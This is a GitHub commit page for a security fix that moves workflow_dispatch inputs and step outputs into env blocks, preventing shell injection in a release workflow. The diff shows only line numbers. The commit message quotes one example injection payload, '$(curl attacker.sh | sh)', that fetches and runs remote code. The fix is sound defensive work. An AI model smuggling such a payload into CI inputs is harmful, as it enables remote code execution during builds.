Commit 4300097
committed
fix(security): move workflow_dispatch inputs to env to avoid shell interpolation
Using ${{ inputs.version }} (and other ${{ ... }} expressions) directly
inside a run block's shell script means GitHub Actions interpolates the
raw value into the rendered script before bash sees it. A crafted input
like '$(curl attacker.sh | sh)' would execute during release.
Move all such expressions into per-step env: blocks so shell sees only
quoted variable references. Covers:
- Determine version (inputs.version)
- Validate version format (steps.version.outputs.version)
- Verify version consistency (steps.version.outputs.version)
- Create tag if needed (needs.validate.outputs.tag)
- Extract changelog for version (needs.validate.outputs.version)1 parent 0e1866c commit 4300097
1 file changed
Lines changed: 12 additions & 8 deletions
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
38 | 38 | | |
39 | 39 | | |
40 | 40 | | |
| 41 | + | |
| 42 | + | |
41 | 43 | | |
42 | 44 | | |
43 | 45 | | |
44 | 46 | | |
45 | 47 | | |
46 | | - | |
| 48 | + | |
47 | 49 | | |
48 | | - | |
| 50 | + | |
49 | 51 | | |
50 | 52 | | |
51 | 53 | | |
| |||
70 | 72 | | |
71 | 73 | | |
72 | 74 | | |
| 75 | + | |
| 76 | + | |
73 | 77 | | |
74 | | - | |
75 | 78 | | |
76 | 79 | | |
77 | 80 | | |
| |||
97 | 100 | | |
98 | 101 | | |
99 | 102 | | |
| 103 | + | |
| 104 | + | |
100 | 105 | | |
101 | | - | |
102 | | - | |
103 | 106 | | |
104 | 107 | | |
105 | 108 | | |
| |||
192 | 195 | | |
193 | 196 | | |
194 | 197 | | |
| 198 | + | |
| 199 | + | |
195 | 200 | | |
196 | | - | |
197 | 201 | | |
198 | 202 | | |
199 | 203 | | |
| |||
204 | 208 | | |
205 | 209 | | |
206 | 210 | | |
| 211 | + | |
| 212 | + | |
207 | 213 | | |
208 | | - | |
209 | | - | |
210 | 214 | | |
211 | 215 | | |
212 | 216 | | |
| |||
0 commit comments